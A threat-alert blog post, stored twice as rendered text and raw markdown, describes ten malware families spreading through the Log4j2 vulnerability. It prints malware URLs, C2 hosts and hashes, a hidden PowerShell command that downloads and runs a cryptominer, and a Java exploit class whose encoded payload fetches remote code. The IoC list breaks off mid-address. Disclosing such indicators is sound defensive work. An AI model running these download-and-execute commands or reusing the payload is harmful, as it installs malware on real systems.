"cmd", "/c", "powershell", "-exec", "bypass", "-w", "hidden", "-e", "WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABhAGUAQwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABhAGUAQwAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGEAZQBDAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA0ADEALgA5ADgALgA4ADMALgAxADMAOQA6ADEAOAAwADgAMAAvAG4ARwA2ADAAawAxAC8AUgBXAGoAeABGAHcAeABDAEIARQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA0ADEALgA5ADgALgA4ADMALgAxADMAOQA6ADEAOAAwADgAMAAvAG4ARwA2ADAAawAxACcAKQApADsA"
};
Runtime.getRuntime().exec(as).waitFor();
}
catch(Exception exception)
{
exception.printStackTrace();
}
}
}
We can see that it will call powershell to decode a base64 string, in fact, this string needs to be decoded three times to get the final payload, corresponding to a piece of powershell script.
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$aeC=new-object net.webclient;if([System.Net.WebProxy]::GetDefaultProxy().address -ne $null){$aeC.proxy=[Net.WebRequest]::GetSystemWebProxy();$aeC.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;};IEX ((new-object Net.WebClient).DownloadString('http://141.98.83.139:18080/nG60k1/RWjxFwxCBE'));IEX ((new-object Net.WebClient).DownloadString('http://141.98.83.139:18080/nG60k1'));
It contains the following 2 URLs.
http://141.98.83.139:18080/nG60k1/RWjxFwxCBE
http://141.98.83.139:18080/nG60k1
Unfortunately, both URLs canot be downloaded now, so no family information can be provided here.
Contact us
Readers are always welcomed to reach us on twitter or email us to netlab at 360 dot cn.
IoC
Scanner IP:
1.116.59.211
1.179.247.182
101.204.24.28
103.103.0.141
103.103.0.142
103.107.198.109
103.232.136.12
103.244.80.194
103.90.239.209
104.244.72.115
104.244.72.136
104.244.73.126
104.244.74.121
104.244.74.57
104.244.76.13
104.244.76.170
104.244.79.234
104.244.79.6
104.248.144.120
107.172.214.23
107.189.1.160
107.189.1.178
107.189.7.88
109.201.133.100
109.70.100.19
109.70.100.34
109.73.65.32
110.42.200.96
111.28.189.51
111.59.85.209
112.215.172.64
112.27.199.180
112.74.52.90
113.141.64.14
113.98.224.68
114.112.161.155
114.32.82.82
115.151.228.235
115.151.228.4
115.151.228.83
118.27.36.56
119.84.170.84
120.195.30.152
120.211.140.116
121.4.56.143
122.117.91.144
122.161.53.44
124.224.87.29
128.199.15.215
128.199.222.221
128.199.48.147
128.31.0.13
131.100.148.7
133.18.201.195
134.122.33.6
134.209.24.42
134.209.82.14
137.184.102.82
137.184.104.73
137.184.105.192
137.184.137.242
137.184.138.79
137.184.28.58
137.184.96.216
137.184.98.176
137.184.99.8
138.197.106.234
138.197.108.154
138.197.167.229
138.197.216.230
138.197.9.239
138.199.21.199
138.68.155.222
139.28.218.134
139.59.101.242
139.59.103.254
139.59.108.31
139.59.163.74
139.59.188.119
139.59.224.7
139.59.8.39
139.59.96.42
139.59.99.80
14.177.141.126
140.246.171.141
141.98.83.139
142.93.151.166
142.93.157.150
142.93.34.250
143.110.221.204
143.110.221.219
143.198.180.150
143.198.183.66
143.198.45.117
143.244.184.81
144.217.86.109
144.48.37.78
145.220.24.19
146.56.131.161
146.56.148.181
146.70.38.48
147.182.131.229
147.182.154.100
147.182.167.165
147.182.179.141
147.182.187.229
147.182.195.250
147.182.215.36
147.182.216.21
147.182.219.9
147.182.242.144
147.182.242.241
150.158.189.96
151.80.148.159
154.65.28.250
154.94.7.88
156.146.57.41
157.230.32.67
157.245.105.213
157.245.107.6
157.245.108.125
157.245.108.40
157.245.109.75
157.245.129.50
157.245.96.165
159.203.187.141
159.203.45.181
159.203.58.73
159.223.42.182
159.223.61.102
159.223.75.133
159.223.9.17
159.48.55.216
159.65.146.60
159.65.155.208
159.65.58.66
159.65.59.77
159.65.60.100
159.89.115.238
159.89.122.19
159.89.133.216
159.89.150.150
159.89.154.102
159.89.154.185
159.89.154.64
159.89.48.173
159.89.85.91
159.89.94.219
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45.83.67.0
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185.113.128.30
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45.83.67.64
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222.128.62.127
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143.198.32.72
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| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Background\nOn December 11, 2021, at 8:00 pm, we published a blog disclosing Mirai and Muhstik botnet samples propagating through Log4j2 RCE vulnerability[[1]](__GHOST_URL__/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/)。\n\nOver the past 2 days, we have captured samples from other families, and now the list of families has exceeded 10. It looks like the race between the offense and defense has started, and the offense side is wasting no time to jump into the game. Right now there is more data in our queue to be looked at but we think it might help that we can quickly share what we have confirmed to the security community. More updates are to be expected from us, so stay tuned to [our blog site](__GHOST_URL__/) or [our twitter handle](https://twitter.com/360Netlab).\n\n## Where the scanners|attackers coming from\nThe following diagram shows the scanners|attackers IP addresses’ geographical distribution that we captured from our honeypot system\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_source_ip.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_source_ip.png\" class=\"kg-image\"/></a>\n\n| Country/region | Count |\n| --------------- | ---- |\n| Germany | 271 |\n| The Netherlands | 143 |\n| China | 134 |\n| United States | 123 |\n| United Kingdom | 29 |\n| Canada | 27 |\n| Singapore | 23 |\n| India | 22 |\n| Japan | 15 |\n| Russia | 12 |\n\n\nThe top scan destination port is 8081 (Apache Flink) accounted for 31.61%, followed by port 8983 (Apache Solr) accounted for 28.1%, see the chart below\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_ports.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_ports.png\" class=\"kg-image\"/></a>\n\n\n## ASNs\nWe have now captured more than 1050 attack source IPs, mainly from ALPHASTRIKE-RESEARCH, ASMK and DIGITALOCEAN-ASN, accounting for more than 50%, and the overall trend of scanning is as follows.\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_asn.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_asn.png\" class=\"kg-image\"/></a>\n\nThe scanned source IPs come from various countries around the world, with Germany accounting for the largest percentage, as shown below:\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_country.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_country.png\" class=\"kg-image\"/></a>\n\nThe attack source IP is mainly large network mapping vendor IP, as well as a large number of Tor proxy export node IP\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_actor.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_actor.png\" class=\"kg-image\"/></a>\n\nAttack source IP source that came from cloud providers\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_cloud_vendor.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_cloud_vendor.png\" class=\"kg-image\"/></a>\n\n\n## Sample and Botnet family quick breakdown\n\nAt present, we have confirmed a total of 10 different families of malicious samples.\n### 1， Muhstik, DDoS+backdoor\nRefer to our previous Threat Alert.[[2]](__GHOST_URL__/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/)。\n\n## 2， Mirai \nRefer to our previous Threat Alert.[[3]](__GHOST_URL__/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/)。\n\n## 3， DDoS family Elknot\nElknot, also known as BillGates, a very long live and active ddos botnet which targeted Linux systems and was later ported to the Windows platform[[4]](https://thisissecurity.stormshield.com/2015/09/30/when-elf-billgates-met-windows/)。\nNow we see Elknot setting its foot on both platforms for this vulnerability, and sharing the same C2\n\nThe sample information of elknot.ELF\n```\nURL=http://155.94.154.170/aaa\nMD5=ded558217c327d8f5c3f8b36118380ab\n\nURL=http://155.94.154.170/log4j\nMD5=ded558217c327d8f5c3f8b36118380ab\n```\n\nThe sample information of elknot.PE\n```\nURL=http://154.82.110.5:1234/win.exe\nMD5=36796319567f5a05571006b874903e87\n```\n\nC2 are ```300gsyn.it:25009```\n\n## 4， mining family m8220\nA relative unknown mining botnet targets both Linux and window systems, we spot a variant that adopts this vulnerability,\n```\nurl= http://205.185.113.59:1234/xmss\nMD5=75bc0d4022b20fae1f5610109691184e\n```\n\nAnd the following is the extracted malicious URL information.\n```\nhttp://agent.apacheorg.top:1234/xmss \nhttp://205.185.113.59:1234/.rsyslogds\nhttp://205.185.113.59:1234/.inis\nhttp://205.185.113.59:1234/xms\n```\n\n## 5， SitesLoader\nSitesLoader gets active recently, and it jumped on the Log4j wagon. sample information:\n```\nURL=http://185.250.148.157:8005/acc\nMD5=933568969efe6b3f8c0621200f0eea5a\n```\n\nEventually a stage 2 ELF file will be downloaded.\n```\nURL=http://185.250.148.157:8005/index\nMD5=720a3a92e72054dc8d58e229c22bb892\nC2=\"https://sites.google.com/view/maintest01\"\n```\n\n## 6， xmrig.pe\nIt actually shares the same exploit with the aforementioned muhstik, and the entry exploit corresponds to a java class.\n```\nURL=http://31.220.58.29/Exploit.class\nMD5=f6e51ea341570c6e9e4c97aee082822b\n```\n\nIt can attack both Linux and Windows machines, and the part for Linux is our aforementioned muhstik variant, with the following entry sample information.\n```\nURL=http://18.228.7.109/.log/log\nMD5=1e051111c4cf327775dc3bab4df4bf85\t\n```\n\nThe entry sample information for the Windows platform is as follows.\n```\nURL=http://172.105.241.146:80/wp-content/themes/twentysixteen/s.cmd\nMD5=bf6935865f63c32c0530a61da9b85d53\n```\n\nIt points to a Powershell script, the core of which is to download an xmrig program and run.\n```\npowershell -w hidden -c (new-object System.Net.WebClient).DownloadFile('http://54.210.230.186:80/wp-content/themes/twentyfourteen/xmrig.exe','xmrig.exe')\nxmrig.exe -o pool.supportxmr.com:5555 -u 46QBumovWy4dLJ4R8wq8JwhHKWMhCaDyNDEzvxHFmAHn92EyKrttq6LfV6if5UYDAyCzh3egWXMhnfJJrEhWkMzqTPzGzsE -p log\n```\n\nYou can see that the pool and wallet addresses are hard-coded in the command line.\n\n## 7， xmrig.ELF\nWhen it runs, a bash script and an xmrig.tar.gz will be downloaded, the former being responsible for unpacking the latter and starting xmrig. The sample message is as follows\n```\nfseen=2021-12-11 23:45:56\t\nURL=http://129.226.180.53/xmrig_setup/raw/master/xmrig.tar.gz\nMD5=64808f03e967d15a7907c41fa0d34e89\n\nfseen=2021-12-11 23:39:18\t\nURL=http://129.226.180.53/xmrig_setup/raw/master/setup_c3pool_miner.sh\nMD5=2f5769c38b6e5f4c59b7d831ed612395\n```\n\n## 8， attack tool 1\n\n```\nURL=http://47.243.78.246/12\nMD5=5ac6ded41f9a61cd9d026e91af47b695 \na variant of Linux/Riskware.Meterpreter.C\tELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped\n```\n\n## 9， attack tool 2\n```\nURL=http://170.178.196.41:1111/pglQLHfm\nMD5=29851d65fe14699a793bf401cb84c019\na variant of Linux/Riskware.Meterpreter.C\tELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped\n\nURL=http://170.178.196.41:35244/qIoPIauO\nMD5=eb71a394bcf3e8f83198d51f3f6d7422\na variant of Linux/Riskware.Meterpreter.C\tELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped\n\nURL=http://170.178.196.41:8080/UKTPAnRvns\nMD5=84c2ccc2f2a4d4fe71249bad63252f32\n\nLinux/Shellcode.CZ\tELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, corrupted section header size\n```\n\n## 10， Unknown PE family\nThe basic information of the entry sample is as follows.\n```\nURL=http://141.98.83.139:9883/exp.class\nmd5=5b30284b34dcc1912326812c7d2ea723\n```\nIt is a java class with the following contents.\n```\npublic class exp\n{\n\n public exp()\n {\n }\n\n static\n {\n try\n {\n String as[] = {\n \"cmd\", \"/c\", \"powershell\", \"-exec\", \"bypass\", \"-w\", \"hidden\", \"-e\", \"WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABhAGUAQwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABhAGUAQwAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGEAZQBDAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA0ADEALgA5ADgALgA4ADMALgAxADMAOQA6ADEAOAAwADgAMAAvAG4ARwA2ADAAawAxAC8AUgBXAGoAeABGAHcAeABDAEIARQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA0ADEALgA5ADgALgA4ADMALgAxADMAOQA6ADEAOAAwADgAMAAvAG4ARwA2ADAAawAxACcAKQApADsA\"\n };\n Runtime.getRuntime().exec(as).waitFor();\n }\n catch(Exception exception)\n {\n exception.printStackTrace();\n }\n }\n}\n```\n\nWe can see that it will call powershell to decode a base64 string, in fact, this string needs to be decoded three times to get the final payload, corresponding to a piece of powershell script.\n```\n[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$aeC=new-object net.webclient;if([System.Net.WebProxy]::GetDefaultProxy().address -ne $null){$aeC.proxy=[Net.WebRequest]::GetSystemWebProxy();$aeC.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;};IEX ((new-object Net.WebClient).DownloadString('http://141.98.83.139:18080/nG60k1/RWjxFwxCBE'));IEX ((new-object Net.WebClient).DownloadString('http://141.98.83.139:18080/nG60k1'));\n```\n\nIt contains the following 2 URLs.\n```\nhttp://141.98.83.139:18080/nG60k1/RWjxFwxCBE\nhttp://141.98.83.139:18080/nG60k1\n```\n\nUnfortunately, both URLs canot be downloaded now, so no family information can be provided here.\n\n### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab) or email us to netlab at 360 dot cn.\n\n### IoC\nScanner IP:\n```\n1.116.59.211\n1.179.247.182\n101.204.24.28\n103.103.0.141\n103.103.0.142\n103.107.198.109\n103.232.136.12\n103.244.80.194\n103.90.239.209\n104.244.72.115\n104.244.72.136\n104.244.73.126\n104.244.74.121\n104.244.74.57\n104.244.76.13\n104.244.76.170\n104.244.79.234\n104.244.79.6\n104.248.144.120\n107.172.214.23\n107.189.1.160\n107.189.1.178\n107.189.7.88\n109.201.133.100\n109.70.100.19\n109.70.100.34\n109.73.65.32\n110.42.200.96\n111.28.189.51\n111.59.85.209\n112.215.172.64\n112.27.199.180\n112.74.52.90\n113.141.64.14\n113.98.224.68\n114.112.161.155\n114.32.82.82\n115.151.228.235\n115.151.228.4\n115.151.228.83\n118.27.36.56\n119.84.170.84\n120.195.30.152\n120.211.140.116\n121.4.56.143\n122.117.91.144\n122.161.53.44\n124.224.87.29\n128.199.15.215\n128.199.222.221\n128.199.48.147\n128.31.0.13\n131.100.148.7\n133.18.201.195\n134.122.33.6\n134.209.24.42\n134.209.82.14\n137.184.102.82\n137.184.104.73\n137.184.105.192\n137.184.137.242\n137.184.138.79\n137.184.28.58\n137.184.96.216\n137.184.98.176\n137.184.99.8\n138.197.106.234\n138.197.108.154\n138.197.167.229\n138.197.216.230\n138.197.9.239\n138.199.21.199\n138.68.155.222\n139.28.218.134\n139.59.101.242\n139.59.103.254\n139.59.108.31\n139.59.163.74\n139.59.188.119\n139.59.224.7\n139.59.8.39\n139.59.96.42\n139.59.99.80\n14.177.141.126\n140.246.171.141\n141.98.83.139\n142.93.151.166\n142.93.157.150\n142.93.34.250\n143.110.221.204\n143.110.221.219\n143.198.180.150\n143.198.183.66\n143.198.45.117\n143.244.184.81\n144.217.86.109\n144.48.37.78\n145.220.24.19\n146.56.131.161\n146.56.148.181\n146.70.38.48\n147.182.131.229\n147.182.154.100\n147.182.167.165\n147.182.179.141\n147.182.187.229\n147.182.195.250\n147.182.215.36\n147.182.216.21\n147.182.219.9\n147.182.242.144\n147.182.242.241\n150.158.189.96\n151.80.148.159\n154.65.28.250\n154.94.7.88\n156.146.57.41\n157.230.32.67\n157.245.105.213\n157.245.107.6\n157.245.108.125\n157.245.108.40\n157.245.109.75\n157.245.129.50\n157.245.96.165\n159.203.187.141\n159.203.45.181\n159.203.58.73\n159.223.42.182\n159.223.61.102\n159.223.75.133\n159.223.9.17\n159.48.55.216\n159.65.146.60\n159.65.155.208\n159.65.58.66\n159.65.59.77\n159.65.60.100\n159.89.115.238\n159.89.122.19\n159.89.133.216\n159.89.150.150\n159.89.154.102\n159.89.154.185\n159.89.154.64\n159.89.48.173\n159.89.85.91\n159.89.94.219\n160.238.38.196\n161.35.119.60\n161.35.155.230\n161.35.156.13\n162.247.74.202\n162.247.74.206\n162.253.71.51\n162.255.202.246\n164.52.53.163\n164.90.196.7\n164.90.199.206\n164.90.199.212\n164.90.199.216\n164.90.200.6\n164.92.254.33\n165.22.210.174\n165.22.213.246\n165.227.32.109\n165.232.80.166\n166.70.207.2\n167.172.65.15\n167.172.69.97\n167.172.71.96\n167.172.85.73\n167.172.94.250\n167.71.1.144\n167.71.13.196\n167.71.218.228\n167.71.4.81\n167.86.70.252\n167.99.164.160\n167.99.172.111\n167.99.172.213\n167.99.172.99\n167.99.186.227\n167.99.204.151\n167.99.221.217\n167.99.36.245\n167.99.44.32\n170.210.45.163\n171.221.235.43\n171.25.193.20\n171.25.193.25\n171.25.193.77\n171.25.193.78\n172.83.40.103\n172.83.40.124\n172.98.66.221\n174.138.6.128\n175.6.210.66\n176.10.99.200\n177.131.174.12\n177.185.117.129\n178.128.226.212\n178.128.232.114\n178.159.3.167\n178.17.170.135\n178.17.170.23\n178.17.171.102\n178.17.174.14\n178.176.202.121\n178.176.203.190\n178.62.23.146\n178.62.61.47\n179.43.187.138\n18.27.197.252\n180.136.188.219\n180.149.125.139\n182.99.234.208\n182.99.246.166\n182.99.246.183\n182.99.246.190\n182.99.246.192\n182.99.246.199\n182.99.247.181\n182.99.247.188\n182.99.247.253\n182.99.247.67\n183.13.106.232\n183.134.110.75\n185.100.86.128\n185.100.87.174\n185.100.87.202\n185.100.87.41\n185.107.47.171\n185.107.47.215\n185.107.70.56\n185.129.61.5\n185.14.97.147\n185.165.169.18\n185.170.114.25\n185.175.25.50\n185.202.220.27\n185.202.220.29\n185.207.249.87\n185.220.100.240\n185.220.100.241\n185.220.100.242\n185.220.100.243\n185.220.100.244\n185.220.100.245\n185.220.100.246\n185.220.100.247\n185.220.100.248\n185.220.100.249\n185.220.100.250\n185.220.100.251\n185.220.100.252\n185.220.100.253\n185.220.100.254\n185.220.100.255\n185.220.101.129\n185.220.101.131\n185.220.101.132\n185.220.101.133\n185.220.101.134\n185.220.101.135\n185.220.101.136\n185.220.101.138\n185.220.101.139\n185.220.101.140\n185.220.101.141\n185.220.101.142\n185.220.101.143\n185.220.101.144\n185.220.101.145\n185.220.101.146\n185.220.101.147\n185.220.101.148\n185.220.101.149\n185.220.101.150\n185.220.101.151\n185.220.101.152\n185.220.101.153\n185.220.101.154\n185.220.101.155\n185.220.101.156\n185.220.101.157\n185.220.101.158\n185.220.101.159\n185.220.101.160\n185.220.101.161\n185.220.101.162\n185.220.101.163\n185.220.101.164\n185.220.101.165\n185.220.101.166\n185.220.101.167\n185.220.101.168\n185.220.101.169\n185.220.101.170\n185.220.101.171\n185.220.101.172\n185.220.101.173\n185.220.101.174\n185.220.101.175\n185.220.101.176\n185.220.101.177\n185.220.101.178\n185.220.101.179\n185.220.101.180\n185.220.101.181\n185.220.101.182\n185.220.101.183\n185.220.101.184\n185.220.101.185\n185.220.101.186\n185.220.101.187\n185.220.101.188\n185.220.101.189\n185.220.101.190\n185.220.101.191\n185.220.101.32\n185.220.101.33\n185.220.101.34\n185.220.101.35\n185.220.101.36\n185.220.101.37\n185.220.101.38\n185.220.101.39\n185.220.101.40\n185.220.101.41\n185.220.101.42\n185.220.101.43\n185.220.101.44\n185.220.101.45\n185.220.101.46\n185.220.101.47\n185.220.101.48\n185.220.101.49\n185.220.101.50\n185.220.101.51\n185.220.101.52\n185.220.101.53\n185.220.101.54\n185.220.101.55\n185.220.101.56\n185.220.101.57\n185.220.101.58\n185.220.101.59\n185.220.101.60\n185.220.101.61\n185.220.101.62\n185.220.101.63\n185.220.101.9\n185.220.102.243\n185.220.102.246\n185.220.102.248\n185.220.102.6\n185.220.103.120\n185.233.100.23\n185.236.200.116\n185.236.200.118\n185.245.86.85\n185.245.87.246\n185.255.79.72\n185.38.175.130\n185.38.175.131\n185.38.175.132\n185.4.132.183\n185.51.76.187\n185.56.80.65\n185.65.205.10\n185.83.214.69\n188.166.102.47\n188.166.105.150\n188.166.170.135\n188.166.223.38\n188.166.225.104\n188.166.45.93\n188.166.48.55\n188.166.7.245\n188.166.86.206\n188.166.92.228\n188.241.156.207\n191.101.132.152\n191.232.38.25\n192.145.118.111\n192.145.118.127\n192.145.118.177\n192.150.9.201\n192.40.57.54\n193.110.95.34\n193.122.108.228\n193.218.118.183\n193.218.118.231\n193.29.60.202\n193.31.24.154\n194.110.84.182\n194.110.84.243\n194.48.199.78\n195.144.21.219\n195.201.175.217\n195.251.41.139\n195.54.160.149\n197.246.171.83\n198.54.128.94\n198.98.51.189\n198.98.57.207\n198.98.62.150\n199.195.248.29\n199.195.250.77\n199.195.252.18\n199.249.230.110\n199.249.230.163\n20.205.104.227\n20.71.156.146\n20.73.161.16\n204.8.156.142\n205.185.117.149\n206.189.20.141\n207.246.101.221\n209.127.17.234\n209.127.17.242\n209.141.34.232\n209.141.41.103\n209.141.46.203\n209.141.54.195\n209.141.58.146\n209.141.59.180\n209.58.146.134\n209.97.133.112\n211.218.126.140\n212.102.40.36\n213.164.204.146\n217.112.83.246\n217.138.200.150\n217.138.208.92\n217.138.208.94\n217.146.83.136\n217.79.189.13\n218.29.217.234\n218.89.222.71\n219.100.36.177\n219.159.77.109\n221.199.187.100\n221.226.159.22\n221.228.87.37\n23.108.92.140\n23.128.248.13\n23.129.64.130\n23.129.64.131\n23.129.64.136\n23.129.64.137\n23.129.64.138\n23.129.64.140\n23.129.64.141\n23.129.64.142\n23.129.64.143\n23.129.64.144\n23.129.64.146\n23.82.194.113\n23.82.194.114\n23.82.194.166\n31.171.154.132\n31.6.19.41\n34.247.50.189\n35.193.211.95\n35.232.163.113\n36.4.92.53\n37.120.204.142\n37.123.163.58\n37.187.122.82\n37.187.96.183\n37.19.212.103\n37.19.212.88\n37.19.213.10\n37.19.213.148\n37.19.213.149\n37.19.213.168\n37.19.213.170\n37.19.213.198\n37.19.213.199\n37.19.213.200\n37.221.66.128\n39.102.236.51\n41.203.140.114\n42.192.69.45\n45.12.134.108\n45.129.56.200\n45.133.194.118\n45.137.21.9\n45.140.168.37\n45.153.160.131\n45.153.160.139\n45.153.160.2\n45.154.255.147\n45.155.205.233\n45.33.120.240\n45.76.99.222\n46.101.223.115\n46.105.95.220\n46.166.139.111\n46.194.138.182\n46.58.195.62\n49.233.62.251\n49.234.81.169\n49.7.224.217\n49.74.65.69\n5.157.38.50\n5.254.101.167\n51.105.55.17\n51.15.43.205\n51.77.52.216\n52.140.215.233\n54.146.233.218\n58.241.61.242\n60.31.180.149\n61.175.202.154\n61.178.32.114\n61.19.25.207\n62.102.148.68\n62.102.148.69\n64.113.32.29\n66.220.242.222\n67.205.170.85\n67.207.93.79\n68.183.192.239\n68.183.198.247\n68.183.198.36\n68.183.2.123\n68.183.207.73\n68.183.33.144\n68.183.35.171\n68.183.36.244\n68.183.37.10\n68.183.41.150\n68.183.44.143\n68.183.44.164\n78.31.71.247\n78.31.71.248\n80.57.9.110\n80.67.172.162\n81.30.157.43\n82.221.131.71\n85.93.218.204\n86.106.103.29\n86.109.208.194\n89.163.249.192\n89.249.63.3\n91.207.173.123\n91.207.174.157\n91.221.57.179\n91.245.81.65\n91.250.242.12\n92.38.178.27\n124.224.87.11\n45.83.67.190\n121.36.213.142\n180.149.231.197\n112.74.34.48\n128.14.102.187\n113.68.61.30\n185.220.102.8\n180.140.163.156\n23.129.64.149\n218.28.128.14\n54.144.8.103\n45.83.66.86\n45.83.67.33\n45.83.66.36\n139.59.4.192\n45.83.67.183\n103.149.248.27\n54.254.58.27\n111.205.62.212\n45.83.65.148\n112.103.102.184\n37.120.189.247\n147.182.188.183\n23.129.64.135\n45.83.66.100\n45.83.67.58\n16.162.192.45\n94.230.208.147\n182.99.246.138\n165.227.37.189\n185.220.102.247\n223.104.67.7\n51.15.244.188\n122.161.50.23\n111.127.128.136\n185.213.155.168\n118.112.74.135\n185.135.81.158\n199.249.230.84\n23.129.64.145\n13.213.127.204\n103.112.31.26\n45.83.66.228\n45.83.65.93\n174.138.9.117\n194.87.236.154\n167.99.221.249\n5.254.43.59\n194.110.84.93\n51.15.76.60\n167.71.14.192\n104.244.72.129\n211.154.194.21\n212.102.50.103\n167.99.164.183\n45.76.176.24\n157.122.61.12\n45.83.65.61\n211.138.191.69\n188.166.26.105\n107.189.11.228\n172.106.16.74\n117.89.128.117\n109.70.100.25\n101.71.37.47\n91.243.81.71\n217.68.181.100\n195.19.192.26\n112.10.117.77\n45.83.67.0\n5.254.101.169\n45.83.64.153\n58.247.209.203\n45.83.64.235\n185.113.128.30\n128.199.24.9\n137.184.111.180\n106.92.114.249\n212.193.57.225\n112.74.185.158\n101.35.199.152\n147.182.213.12\n45.83.67.64\n185.220.101.130\n185.4.132.135\n114.24.19.243\n8.209.212.37\n167.99.164.201\n23.129.64.134\n49.36.231.105\n221.222.155.240\n113.17.41.134\n47.102.199.233\n222.128.62.127\n38.143.9.76\n164.90.159.39\n109.237.96.124\n121.31.247.58\n45.83.64.43\n45.83.66.183\n122.225.220.134\n134.209.153.239\n45.83.64.148\n172.105.59.246\n206.189.29.232\n116.206.103.246\n116.206.231.53\n103.47.48.65\n165.232.84.228\n172.105.194.173\n185.10.68.168\n167.99.172.58\n58.100.164.147\n167.99.188.167\n143.198.32.72\n52.175.18.172\n45.64.75.134\n121.229.219.55\n18.177.59.255\n178.62.222.131\n167.71.67.189\n45.83.66.65\n113.207.68.47\n23.234.200.135\n134.122.34.28\n167.99.216.68\n137.184.98.160\n45.83.67.22\n222.211.205.179\n185.193.125.249\n45.83.67.77\n103.130.166.234\n81.17.18.59\n104.244.76.44\n213.173.34.93\n110.191.179.149\n23.129.64.133\n45.83.64.108\n157.245.111.173\n45.83.66.130\n45.83.65.141\n45.83.64.129\n62.76.41.46\n120.24.23.84\n45.83.66.29\n107.189.31.195\n45.61.184.239\n188.166.122.43\n165.22.222.120\n223.89.64.12\n107.189.14.27\n45.83.65.82\n83.97.20.151\n42.159.91.12\n118.112.74.218\n209.141.45.189\n64.188.16.142\n172.105.57.210\n37.